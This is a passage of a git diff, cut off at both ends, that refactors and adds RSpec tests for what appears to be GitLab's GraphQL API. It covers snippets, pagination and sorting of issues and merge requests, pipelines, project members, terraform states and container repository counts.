+ it_behaves_like 'top-level error with message', expected_error_message
+ end
+
+ context 'when the current user is a public user' do
+ let(:current_user) { public_user }
+
+ it_behaves_like 'top-level error with message', expected_error_message
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/snippets/create_spec.rb b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
index d2fa3cfc24f..fd0dc98a8d3 100644
--- a/spec/requests/api/graphql/mutations/snippets/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
@@ -163,9 +163,15 @@ RSpec.describe 'Creating a Snippet' do
context 'when there are uploaded files' do
shared_examples 'expected files argument' do |file_value, expected_value|
let(:uploaded_files) { file_value }
+ let(:snippet) { build(:snippet) }
+ let(:creation_response) do
+ ::ServiceResponse.error(message: 'urk', payload: { snippet: snippet })
+ end
it do
- expect(::Snippets::CreateService).to receive(:new).with(nil, user, hash_including(files: expected_value))
+ expect(::Snippets::CreateService).to receive(:new)
+ .with(nil, user, hash_including(files: expected_value))
+ .and_return(double(execute: creation_response))
subject
end
diff --git a/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb b/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
index 97e6ae8fda8..4d499310591 100644
--- a/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
@@ -2,8 +2,9 @@
require 'spec_helper'
-RSpec.describe 'Mark snippet as spam', :do_not_mock_admin_mode do
+RSpec.describe 'Mark snippet as spam' do
include GraphqlHelpers
+ include AfterNextHelpers
let_it_be(:admin) { create(:admin) }
let_it_be(:other_user) { create(:user) }
@@ -56,11 +57,12 @@ RSpec.describe 'Mark snippet as spam', :do_not_mock_admin_mode do
end
it 'marks snippet as spam' do
- expect_next_instance_of(Spam::MarkAsSpamService) do |instance|
- expect(instance).to receive(:execute)
- end
+ expect_next(Spam::MarkAsSpamService, target: snippet)
+ .to receive(:execute).and_return(true)
post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(graphql_errors).to be_blank
end
end
end
diff --git a/spec/requests/api/graphql/namespace/projects_spec.rb b/spec/requests/api/graphql/namespace/projects_spec.rb
index 03160719389..3e68503b7fb 100644
--- a/spec/requests/api/graphql/namespace/projects_spec.rb
+++ b/spec/requests/api/graphql/namespace/projects_spec.rb
@@ -80,38 +80,34 @@ RSpec.describe 'getting projects' do
end
describe 'sorting and pagination' do
+ let_it_be(:ns) { create(:group) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:project_1) { create(:project, name: 'Project', path: 'project', namespace: ns) }
+ let_it_be(:project_2) { create(:project, name: 'Test Project', path: 'test-project', namespace: ns) }
+ let_it_be(:project_3) { create(:project, name: 'Test', path: 'test', namespace: ns) }
+ let_it_be(:project_4) { create(:project, name: 'Test Project Other', path: 'other-test-project', namespace: ns) }
+
let(:data_path) { [:namespace, :projects] }
- def pagination_query(params, page_info)
- graphql_query_for(
- 'namespace',
- { 'fullPath' => subject.full_path },
- <<~QUERY
- projects(includeSubgroups: #{include_subgroups}, search: "#{search}", #{params}) {
- #{page_info} edges {
- node {
- #{all_graphql_fields_for('Project')}
- }
- }
- }
- QUERY
- )
+ let(:ns_args) { { full_path: ns.full_path } }
+ let(:search) { 'test' }
+
+ before do
+ ns.add_owner(current_user)
end
- def pagination_results_data(data)
- data.map { |project| project.dig('node', 'name') }
+ def pagination_query(params)
+ arguments = params.merge(include_subgroups: include_subgroups, search: search)
+ graphql_query_for(:namespace, ns_args, query_graphql_field(:projects, arguments, <<~GQL))
+ #{page_info}
+ nodes { name }
+ GQL
end
context 'when sorting by similarity' do
- let!(:project_1) { create(:project, name: 'Project', path: 'project', namespace: subject) }
- let!(:project_2) { create(:project, name: 'Test Project', path: 'test-project', namespace: subject) }
- let!(:project_3) { create(:project, name: 'Test', path: 'test', namespace: subject) }
- let!(:project_4) { create(:project, name: 'Test Project Other', path: 'other-test-project', namespace: subject) }
- let(:search) { 'test' }
- let(:current_user) { user }
-
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'SIMILARITY' }
+ let(:node_path) { %w[name] }
+ let(:sort_param) { :SIMILARITY }
let(:first_param) { 2 }
let(:expected_results) { [project_3.name, project_2.name, project_4.name] }
end
diff --git a/spec/requests/api/graphql/project/container_repositories_spec.rb b/spec/requests/api/graphql/project/container_repositories_spec.rb
index 7e32f54bf1d..6b1c8689515 100644
--- a/spec/requests/api/graphql/project/container_repositories_spec.rb
+++ b/spec/requests/api/graphql/project/container_repositories_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe 'getting container repositories in a project' do
let_it_be(:container_repositories) { [container_repository, container_repositories_delete_scheduled, container_repositories_delete_failed].flatten }
let_it_be(:container_expiration_policy) { project.container_expiration_policy }
- let(:fields) do
+ let(:container_repositories_fields) do
<<~GQL
edges {
node {
@@ -22,17 +22,25 @@ RSpec.describe 'getting container repositories in a project' do
GQL
end
+ let(:fields) do
+ <<~GQL
+ #{query_graphql_field('container_repositories', {}, container_repositories_fields)}
+ containerRepositoriesCount
+ GQL
+ end
+
let(:query) do
graphql_query_for(
'project',
{ 'fullPath' => project.full_path },
- query_graphql_field('container_repositories', {}, fields)
+ fields
)
end
let(:user) { project.owner }
let(:variables) { {} }
let(:container_repositories_response) { graphql_data.dig('project', 'containerRepositories', 'edges') }
+ let(:container_repositories_count_response) { graphql_data.dig('project', 'containerRepositoriesCount') }
before do
stub_container_registry_config(enabled: true)
@@ -100,7 +108,7 @@ RSpec.describe 'getting container repositories in a project' do
<<~GQL
query($path: ID!, $n: Int) {
project(fullPath: $path) {
- containerRepositories(first: $n) { #{fields} }
+ containerRepositories(first: $n) { #{container_repositories_fields} }
}
}
GQL
@@ -121,7 +129,7 @@ RSpec.describe 'getting container repositories in a project' do
<<~GQL
query($path: ID!, $name: String) {
project(fullPath: $path) {
- containerRepositories(name: $name) { #{fields} }
+ containerRepositories(name: $name) { #{container_repositories_fields} }
}
}
GQL
@@ -142,4 +150,10 @@ RSpec.describe 'getting container repositories in a project' do
expect(container_repositories_response.first.dig('node', 'id')).to eq(container_repository.to_global_id.to_s)
end
end
+
+ it 'returns the total count of container repositories' do
+ subject
+
+ expect(container_repositories_count_response).to eq(container_repositories.size)
+ end
end
diff --git a/spec/requests/api/graphql/project/issue/design_collection/version_spec.rb b/spec/requests/api/graphql/project/issue/design_collection/version_spec.rb
index 4bce3c7fe0f..f544d78ecbb 100644
--- a/spec/requests/api/graphql/project/issue/design_collection/version_spec.rb
+++ b/spec/requests/api/graphql/project/issue/design_collection/version_spec.rb
@@ -42,7 +42,6 @@ RSpec.describe 'Query.project(fullPath).issue(iid).designCollection.version(sha)
describe 'scalar fields' do
let(:path) { path_prefix }
- let(:version_fields) { query_graphql_field(:sha) }
before do
post_query
@@ -50,7 +49,7 @@ RSpec.describe 'Query.project(fullPath).issue(iid).designCollection.version(sha)
{ id: ->(x) { x.to_global_id.to_s }, sha: ->(x) { x.sha } }.each do |field, value|
describe ".#{field}" do
- let(:version_fields) { query_graphql_field(field) }
+ let(:version_fields) { field }
it "retrieves the #{field}" do
expect(data).to match(a_hash_including(field.to_s => value[version]))
diff --git a/spec/requests/api/graphql/project/issue_spec.rb b/spec/requests/api/graphql/project/issue_spec.rb
index 5f368833181..ddf63a8f2c9 100644
--- a/spec/requests/api/graphql/project/issue_spec.rb
+++ b/spec/requests/api/graphql/project/issue_spec.rb
@@ -29,8 +29,8 @@ RSpec.describe 'Query.project(fullPath).issue(iid)' do
let(:design_fields) do
[
- query_graphql_field(:filename),
- query_graphql_field(:project, nil, query_graphql_field(:id))
+ :filename,
+ query_graphql_field(:project, :id)
]
end
@@ -173,7 +173,7 @@ RSpec.describe 'Query.project(fullPath).issue(iid)' do
let(:result_fields) { { 'version' => id_hash(version) } }
let(:object_fields) do
- design_fields + [query_graphql_field(:version, nil, query_graphql_field(:id))]
+ design_fields + [query_graphql_field(:version, :id)]
end
let(:no_argument_error) { missing_required_argument(path, :id) }
diff --git a/spec/requests/api/graphql/project/issues_spec.rb b/spec/requests/api/graphql/project/issues_spec.rb
index 4f27f08bf98..9c915075c42 100644
--- a/spec/requests/api/graphql/project/issues_spec.rb
+++ b/spec/requests/api/graphql/project/issues_spec.rb
@@ -142,16 +142,14 @@ RSpec.describe 'getting an issue list for a project' do
describe 'sorting and pagination' do
let_it_be(:data_path) { [:project, :issues] }
- def pagination_query(params, page_info)
- graphql_query_for(
- 'project',
- { 'fullPath' => sort_project.full_path },
- query_graphql_field('issues', params, "#{page_info} edges { node { iid dueDate} }")
+ def pagination_query(params)
+ graphql_query_for(:project, { full_path: sort_project.full_path },
+ query_graphql_field(:issues, params, "#{page_info} nodes { iid }")
)
end
def pagination_results_data(data)
- data.map { |issue| issue.dig('node', 'iid').to_i }
+ data.map { |issue| issue.dig('iid').to_i }
end
context 'when sorting by due date' do
@@ -164,7 +162,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when ascending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'DUE_DATE_ASC' }
+ let(:sort_param) { :DUE_DATE_ASC }
let(:first_param) { 2 }
let(:expected_results) { [due_issue3.iid, due_issue5.iid, due_issue1.iid, due_issue4.iid, due_issue2.iid] }
end
@@ -172,7 +170,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when descending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'DUE_DATE_DESC' }
+ let(:sort_param) { :DUE_DATE_DESC }
let(:first_param) { 2 }
let(:expected_results) { [due_issue1.iid, due_issue5.iid, due_issue3.iid, due_issue4.iid, due_issue2.iid] }
end
@@ -189,7 +187,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when ascending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'RELATIVE_POSITION_ASC' }
+ let(:sort_param) { :RELATIVE_POSITION_ASC }
let(:first_param) { 2 }
let(:expected_results) { [relative_issue5.iid, relative_issue3.iid, relative_issue1.iid, relative_issue4.iid, relative_issue2.iid] }
end
@@ -209,7 +207,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when ascending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'PRIORITY_ASC' }
+ let(:sort_param) { :PRIORITY_ASC }
let(:first_param) { 2 }
let(:expected_results) { [priority_issue3.iid, priority_issue1.iid, priority_issue2.iid, priority_issue4.iid] }
end
@@ -217,7 +215,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when descending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'PRIORITY_DESC' }
+ let(:sort_param) { :PRIORITY_DESC }
let(:first_param) { 2 }
let(:expected_results) { [priority_issue1.iid, priority_issue3.iid, priority_issue2.iid, priority_issue4.iid] }
end
@@ -236,7 +234,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when ascending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'LABEL_PRIORITY_ASC' }
+ let(:sort_param) { :LABEL_PRIORITY_ASC }
let(:first_param) { 2 }
let(:expected_results) { [label_issue3.iid, label_issue1.iid, label_issue2.iid, label_issue4.iid] }
end
@@ -244,7 +242,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when descending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'LABEL_PRIORITY_DESC' }
+ let(:sort_param) { :LABEL_PRIORITY_DESC }
let(:first_param) { 2 }
let(:expected_results) { [label_issue2.iid, label_issue3.iid, label_issue1.iid, label_issue4.iid] }
end
@@ -261,7 +259,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when ascending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'MILESTONE_DUE_ASC' }
+ let(:sort_param) { :MILESTONE_DUE_ASC }
let(:first_param) { 2 }
let(:expected_results) { [milestone_issue2.iid, milestone_issue3.iid, milestone_issue1.iid] }
end
@@ -269,7 +267,7 @@ RSpec.describe 'getting an issue list for a project' do
context 'when descending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'MILESTONE_DUE_DESC' }
+ let(:sort_param) { :MILESTONE_DUE_DESC }
let(:first_param) { 2 }
let(:expected_results) { [milestone_issue3.iid, milestone_issue2.iid, milestone_issue1.iid] }
end
diff --git a/spec/requests/api/graphql/project/merge_request/pipelines_spec.rb b/spec/requests/api/graphql/project/merge_request/pipelines_spec.rb
new file mode 100644
index 00000000000..ac0b18a37d6
--- /dev/null
+++ b/spec/requests/api/graphql/project/merge_request/pipelines_spec.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Query.project.mergeRequests.pipelines' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:author) { create(:user) }
+ let_it_be(:merge_requests) do
+ %i[with_diffs with_image_diffs conflict].map do |trait|
+ create(:merge_request, trait, author: author, source_project: project)
+ end
+ end
+
+ describe '.count' do
+ let(:query) do
+ <<~GQL
+ query($path: ID!, $first: Int) {
+ project(fullPath: $path) {
+ mergeRequests(first: $first) {
+ nodes {
+ iid
+ pipelines {
+ count
+ }
+ }
+ }
+ }
+ }
+ GQL
+ end
+
+ def run_query(first = nil)
+ post_graphql(query, current_user: author, variables: { path: project.full_path, first: first })
+ end
+
+ before do
+ merge_requests.each do |mr|
+ shas = mr.all_commits.limit(2).pluck(:sha)
+
+ shas.each do |sha|
+ create(:ci_pipeline, :success, project: project, ref: mr.source_branch, sha: sha)
+ end
+ end
+ end
+
+ it 'produces correct results' do
+ run_query(2)
+
+ p_nodes = graphql_data_at(:project, :merge_requests, :nodes)
+
+ expect(p_nodes).to all(match('iid' => be_present, 'pipelines' => match('count' => 2)))
+ end
+
+ it 'is scalable', :request_store, :use_clean_rails_memory_store_caching do
+ # warm up
+ run_query
+
+ expect { run_query(2) }.to(issue_same_number_of_queries_as { run_query(1) }.ignoring_cached_queries)
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/project/merge_requests_spec.rb b/spec/requests/api/graphql/project/merge_requests_spec.rb
index 2b8d537f9fc..c05a620bb62 100644
--- a/spec/requests/api/graphql/project/merge_requests_spec.rb
+++ b/spec/requests/api/graphql/project/merge_requests_spec.rb
@@ -259,29 +259,19 @@ RSpec.describe 'getting merge request listings nested in a project' do
describe 'sorting and pagination' do
let(:data_path) { [:project, :mergeRequests] }
- def pagination_query(params, page_info)
- graphql_query_for(
- :project,
- { full_path: project.full_path },
+ def pagination_query(params)
+ graphql_query_for(:project, { full_path: project.full_path },
<<~QUERY
mergeRequests(#{params}) {
- #{page_info} edges {
- node {
- id
- }
- }
+ #{page_info} nodes { id }
}
QUERY
)
end
- def pagination_results_data(data)
- data.map { |project| project.dig('node', 'id') }
- end
-
context 'when sorting by merged_at DESC' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'MERGED_AT_DESC' }
+ let(:sort_param) { :MERGED_AT_DESC }
let(:first_param) { 2 }
let(:expected_results) do
@@ -291,7 +281,7 @@ RSpec.describe 'getting merge request listings nested in a project' do
merge_request_c,
merge_request_e,
merge_request_a
- ].map(&:to_gid).map(&:to_s)
+ ].map { |mr| global_id_of(mr) }
end
before do
@@ -304,33 +294,6 @@ RSpec.describe 'getting merge request listings nested in a project' do
merge_request_b.metrics.update!(merged_at: 1.day.ago)
end
-
- context 'when paginating backwards' do
- let(:params) { 'first: 2, sort: MERGED_AT_DESC' }
- let(:page_info) { 'pageInfo { startCursor endCursor }' }
-
- before do
- post_graphql(pagination_query(params, page_info), current_user: current_user)
- end
-
- it 'paginates backwards correctly' do
- # first page
- first_page_response_data = graphql_dig_at(Gitlab::Json.parse(response.body), :data, *data_path, :edges)
- end_cursor = graphql_dig_at(Gitlab::Json.parse(response.body), :data, :project, :mergeRequests, :pageInfo, :endCursor)
-
- # second page
- params = "first: 2, after: \"#{end_cursor}\", sort: MERGED_AT_DESC"
- post_graphql(pagination_query(params, page_info), current_user: current_user)
- start_cursor = graphql_dig_at(Gitlab::Json.parse(response.body), :data, :project, :mergeRequests, :pageInfo, :start_cursor)
-
- # going back to the first page
-
- params = "last: 2, before: \"#{start_cursor}\", sort: MERGED_AT_DESC"
- post_graphql(pagination_query(params, page_info), current_user: current_user)
- backward_paginated_response_data = graphql_dig_at(Gitlab::Json.parse(response.body), :data, *data_path, :edges)
- expect(first_page_response_data).to eq(backward_paginated_response_data)
- end
- end
end
end
end
diff --git a/spec/requests/api/graphql/project/pipeline_spec.rb b/spec/requests/api/graphql/project/pipeline_spec.rb
index fef0e7e160c..6179b43629b 100644
--- a/spec/requests/api/graphql/project/pipeline_spec.rb
+++ b/spec/requests/api/graphql/project/pipeline_spec.rb
@@ -5,12 +5,12 @@ require 'spec_helper'
RSpec.describe 'getting pipeline information nested in a project' do
include GraphqlHelpers
- let(:project) { create(:project, :repository, :public) }
- let(:pipeline) { create(:ci_pipeline, project: project) }
- let(:current_user) { create(:user) }
+ let!(:project) { create(:project, :repository, :public) }
+ let!(:pipeline) { create(:ci_pipeline, project: project) }
+ let!(:current_user) { create(:user) }
let(:pipeline_graphql_data) { graphql_data['project']['pipeline'] }
- let(:query) do
+ let!(:query) do
graphql_query_for(
'project',
{ 'fullPath' => project.full_path },
@@ -35,4 +35,45 @@ RSpec.describe 'getting pipeline information nested in a project' do
expect(pipeline_graphql_data.dig('configSource')).to eq('UNKNOWN_SOURCE')
end
+
+ context 'batching' do
+ let!(:pipeline2) { create(:ci_pipeline, project: project, user: current_user, builds: [create(:ci_build, :success)]) }
+ let!(:pipeline3) { create(:ci_pipeline, project: project, user: current_user, builds: [create(:ci_build, :success)]) }
+ let!(:query) { build_query_to_find_pipeline_shas(pipeline, pipeline2, pipeline3) }
+
+ it 'executes the finder once' do
+ mock = double(Ci::PipelinesFinder)
+ opts = { iids: [pipeline.iid, pipeline2.iid, pipeline3.iid].map(&:to_s) }
+
+ expect(Ci::PipelinesFinder).to receive(:new).once.with(project, current_user, opts).and_return(mock)
+ expect(mock).to receive(:execute).once.and_return(Ci::Pipeline.none)
+
+ post_graphql(query, current_user: current_user)
+ end
+
+ it 'keeps the queries under the threshold' do
+ control = ActiveRecord::QueryRecorder.new do
+ single_pipeline_query = build_query_to_find_pipeline_shas(pipeline)
+
+ post_graphql(single_pipeline_query, current_user: current_user)
+ end
+
+ aggregate_failures do
+ expect(response).to have_gitlab_http_status(:success)
+ expect do
+ post_graphql(query, current_user: current_user)
+ end.not_to exceed_query_limit(control)
+ end
+ end
+ end
+
+ private
+
+ def build_query_to_find_pipeline_shas(*pipelines)
+ pipeline_fields = pipelines.map.each_with_index do |pipeline, idx|
+ "pipeline#{idx}: pipeline(iid: \"#{pipeline.iid}\") { sha }"
+ end.join(' ')
+
+ graphql_query_for('project', { 'fullPath' => project.full_path }, pipeline_fields)
+ end
end
diff --git a/spec/requests/api/graphql/project/project_members_spec.rb b/spec/requests/api/graphql/project/project_members_spec.rb
new file mode 100644
index 00000000000..cb937432ef7
--- /dev/null
+++ b/spec/requests/api/graphql/project/project_members_spec.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'getting project members information' do
+ include GraphqlHelpers
+
+ let_it_be(:parent_group) { create(:group, :public) }
+ let_it_be(:parent_project) { create(:project, :public, group: parent_group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:user_1) { create(:user, username: 'user') }
+ let_it_be(:user_2) { create(:user, username: 'test') }
+
+ let(:member_data) { graphql_data['project']['projectMembers']['edges'] }
+
+ before_all do
+ [user_1, user_2].each { |user| parent_group.add_guest(user) }
+ end
+
+ context 'when the request is correct' do
+ it_behaves_like 'a working graphql query' do
+ before_all do
+ fetch_members(project: parent_project)
+ end
+ end
+
+ it 'returns project members successfully' do
+ fetch_members(project: parent_project)
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(user_1, user_2)
+ end
+
+ it 'returns members that match the search query' do
+ fetch_members(project: parent_project, args: { search: 'test' })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(user_2)
+ end
+ end
+
+ context 'member relations' do
+ let_it_be(:child_group) { create(:group, :public, parent: parent_group) }
+ let_it_be(:child_project) { create(:project, :public, group: child_group) }
+ let_it_be(:invited_group) { create(:group, :public) }
+ let_it_be(:child_user) { create(:user) }
+ let_it_be(:invited_user) { create(:user) }
+ let_it_be(:group_link) { create(:project_group_link, project: child_project, group: invited_group) }
+
+ before_all do
+ child_project.add_guest(child_user)
+ invited_group.add_guest(invited_user)
+ end
+
+ it 'returns direct members' do
+ fetch_members(project: child_project, args: { relations: [:DIRECT] })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(child_user)
+ end
+
+ it 'returns invited members plus inherited members' do
+ fetch_members(project: child_project, args: { relations: [:INVITED_GROUPS] })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(invited_user, user_1, user_2)
+ end
+
+ it 'returns direct, inherited, descendant, and invited members' do
+ fetch_members(project: child_project, args: { relations: [:DIRECT, :INHERITED, :DESCENDANTS, :INVITED_GROUPS] })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(child_user, user_1, user_2, invited_user)
+ end
+
+ it 'returns an error for an invalid member relation' do
+ fetch_members(project: child_project, args: { relations: [:OBLIQUE] })
+
+ expect(graphql_errors.first)
+ .to include('path' => %w[query project projectMembers relations],
+ 'message' => a_string_including('invalid value ([OBLIQUE])'))
+ end
+ end
+
+ context 'when unauthenticated' do
+ it 'returns members' do
+ fetch_members(current_user: nil, project: parent_project)
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(user_1, user_2)
+ end
+ end
+
+ def fetch_members(project:, current_user: user, args: {})
+ post_graphql(members_query(project.full_path, args), current_user: current_user)
+ end
+
+ def members_query(group_path, args = {})
+ members_node = <<~NODE
+ edges {
+ node {
+ user {
+ id
+ }
+ }
+ }
+ NODE
+
+ graphql_query_for('project',
+ { full_path: group_path },
+ [query_graphql_field('projectMembers', args, members_node)]
+ )
+ end
+
+ def expect_array_response(*items)
+ expect(response).to have_gitlab_http_status(:success)
+ expect(member_data).to be_an Array
+ expect(member_data.map { |node| node['node']['user']['id'] })
+ .to match_array(items.map { |u| global_id_of(u) })
+ end
+end
diff --git a/spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb b/spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb
new file mode 100644
index 00000000000..0f495f3e671
--- /dev/null
+++ b/spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'rendering project pipeline statistics' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project) }
+ let(:user) { create(:user) }
+
+ let(:fields) do
+ <<~QUERY
+ weekPipelinesTotals
+ weekPipelinesLabels
+ monthPipelinesLabels
+ monthPipelinesTotals
+ yearPipelinesLabels
+ yearPipelinesTotals
+ QUERY
+ end
+
+ let(:query) do
+ graphql_query_for('project',
+ { 'fullPath' => project.full_path },
+ query_graphql_field('pipelineAnalytics', {}, fields))
+ end
+
+ before do
+ project.add_maintainer(user)
+ end
+
+ it_behaves_like 'a working graphql query' do
+ before do
+ post_graphql(query, current_user: user)
+ end
+ end
+
+ it "contains two arrays of 8 elements each for the week pipelines" do
+ post_graphql(query, current_user: user)
+
+ expect(graphql_data_at(:project, :pipelineAnalytics, :weekPipelinesTotals).length).to eq(8)
+ expect(graphql_data_at(:project, :pipelineAnalytics, :weekPipelinesLabels).length).to eq(8)
+ end
+
+ it "contains two arrays of 31 elements each for the month pipelines" do
+ post_graphql(query, current_user: user)
+
+ expect(graphql_data_at(:project, :pipelineAnalytics, :monthPipelinesTotals).length).to eq(31)
+ expect(graphql_data_at(:project, :pipelineAnalytics, :monthPipelinesLabels).length).to eq(31)
+ end
+
+ it "contains two arrays of 13 elements each for the year pipelines" do
+ post_graphql(query, current_user: user)
+
+ expect(graphql_data_at(:project, :pipelineAnalytics, :yearPipelinesTotals).length).to eq(13)
+ expect(graphql_data_at(:project, :pipelineAnalytics, :yearPipelinesLabels).length).to eq(13)
+ end
+end
diff --git a/spec/requests/api/graphql/project/release_spec.rb b/spec/requests/api/graphql/project/release_spec.rb
index 57dbe258ce4..99b15ff00b1 100644
--- a/spec/requests/api/graphql/project/release_spec.rb
+++ b/spec/requests/api/graphql/project/release_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
let(:path) { path_prefix }
let(:release_fields) do
- query_graphql_field(%{
+ %{
tagName
tagPath
description
@@ -45,7 +45,7 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
createdAt
releasedAt
upcomingRelease
- })
+ }
end
before do
@@ -233,7 +233,7 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
let(:path) { path_prefix }
let(:release_fields) do
- query_graphql_field('description')
+ 'description'
end
before do
@@ -394,10 +394,10 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
let(:current_user) { developer }
let(:release_fields) do
- query_graphql_field(%{
+ %{
releasedAt
upcomingRelease
- })
+ }
end
before do
diff --git a/spec/requests/api/graphql/project/terraform/states_spec.rb b/spec/requests/api/graphql/project/terraform/states_spec.rb
index 8b67b549efa..2879530acc5 100644
--- a/spec/requests/api/graphql/project/terraform/states_spec.rb
+++ b/spec/requests/api/graphql/project/terraform/states_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'query terraform states' do
include GraphqlHelpers
+ include ::API::Helpers::RelatedResourcesHelpers
let_it_be(:project) { create(:project) }
let_it_be(:terraform_state) { create(:terraform_state, :with_version, :locked, project: project) }
@@ -23,6 +24,8 @@ RSpec.describe 'query terraform states' do
latestVersion {
id
+ downloadPath
+ serial
createdAt
updatedAt
@@ -50,22 +53,32 @@ RSpec.describe 'query terraform states' do
post_graphql(query, current_user: current_user)
end
- it 'returns terraform state data', :aggregate_failures do
- state = data.dig('nodes', 0)
- version = state['latestVersion']
-
- expect(state['id']).to eq(terraform_state.to_global_id.to_s)
- expect(state['name']).to eq(terraform_state.name)
- expect(state['lockedAt']).to eq(terraform_state.locked_at.iso8601)
- expect(state['createdAt']).to eq(terraform_state.created_at.iso8601)
- expect(state['updatedAt']).to eq(terraform_state.updated_at.iso8601)
- expect(state.dig('lockedByUser', 'id')).to eq(terraform_state.locked_by_user.to_global_id.to_s)
-
- expect(version['id']).to eq(latest_version.to_global_id.to_s)
- expect(version['createdAt']).to eq(latest_version.created_at.iso8601)
- expect(version['updatedAt']).to eq(latest_version.updated_at.iso8601)
- expect(version.dig('createdByUser', 'id')).to eq(latest_version.created_by_user.to_global_id.to_s)
- expect(version.dig('job', 'name')).to eq(latest_version.build.name)
+ it 'returns terraform state data' do
+ download_path = expose_path(
+ api_v4_projects_terraform_state_versions_path(
+ id: project.id,
+ name: terraform_state.name,
+ serial: latest_version.version
+ )
+ )
+
+ expect(data['nodes']).to contain_exactly({
+ 'id' => global_id_of(terraform_state),
+ 'name' => terraform_state.name,
+ 'lockedAt' => terraform_state.locked_at.iso8601,
+ 'createdAt' => terraform_state.created_at.iso8601,
+ 'updatedAt' => terraform_state.updated_at.iso8601,
+ 'lockedByUser' => { 'id' => global_id_of(terraform_state.locked_by_user) },
+ 'latestVersion' => {
+ 'id' => eq(global_id_of(latest_version)),
+ 'serial' => eq(latest_version.version),
+ 'downloadPath' => eq(download_path),
+ 'createdAt' => eq(latest_version.created_at.iso8601),
+ 'updatedAt' => eq(latest_version.updated_at.iso8601),
+ 'createdByUser' => { 'id' => eq(global_id_of(latest_version.created_by_user)) },
+ 'job' => { 'name' => eq(latest_version.build.name) }
+ }
+ })
end
it 'returns count of terraform states' do
diff --git a/spec/requests/api/graphql/project_query_spec.rb b/spec/requests/api/graphql/project_query_spec.rb
index 4b8ffb0675c..b29f9ae913f 100644
--- a/spec/requests/api/graphql/project_query_spec.rb
+++ b/spec/requests/api/graphql/project_query_spec.rb
@@ -5,36 +5,34 @@ require 'spec_helper'
RSpec.describe 'getting project information' do
include GraphqlHelpers
- let(:group) { create(:group) }
- let(:project) { create(:project, :repository, group: group) }
- let(:current_user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :repository, group: group) }
+ let_it_be(:current_user) { create(:user) }
+ let(:fields) { all_graphql_fields_for(Project, max_depth: 2, excluded: %w(jiraImports services)) }
let(:query) do
- graphql_query_for(
- 'project',
- { 'fullPath' => project.full_path },
- all_graphql_fields_for('project'.to_s.classify, excluded: %w(jiraImports services))
- )
+ graphql_query_for(:project, { full_path: project.full_path }, fields)
end
context 'when the user has full access to the project' do
let(:full_access_query) do
- graphql_query_for('project', 'fullPath' => project.full_path)
+ graphql_query_for(:project, { full_path: project.full_path },
+ all_graphql_fields_for('Project', max_depth: 2))
end
before do
project.add_maintainer(current_user)
end
- it 'includes the project' do
- post_graphql(query, current_user: current_user)
+ it 'includes the project', :use_clean_rails_memory_store_caching, :request_store do
+ post_graphql(full_access_query, current_user: current_user)
expect(graphql_data['project']).not_to be_nil
end
end
- context 'when the user has access to the project' do
- before do
+ context 'when the user has access to the project', :use_clean_rails_memory_store_caching, :request_store do
+ before_all do
project.add_developer(current_user)
end
@@ -55,10 +53,12 @@ RSpec.describe 'getting project information' do
create(:ci_pipeline, project: project)
end
+ let(:fields) { query_nodes(:pipelines) }
+
it 'is included in the pipelines connection' do
post_graphql(query, current_user: current_user)
- expect(graphql_data['project']['pipelines']['edges'].size).to eq(1)
+ expect(graphql_data_at(:project, :pipelines, :nodes)).to contain_exactly(a_kind_of(Hash))
end
end
@@ -109,7 +109,7 @@ RSpec.describe 'getting project information' do
end
describe 'performance' do
- before do
+ before_all do
project.add_developer(current_user)
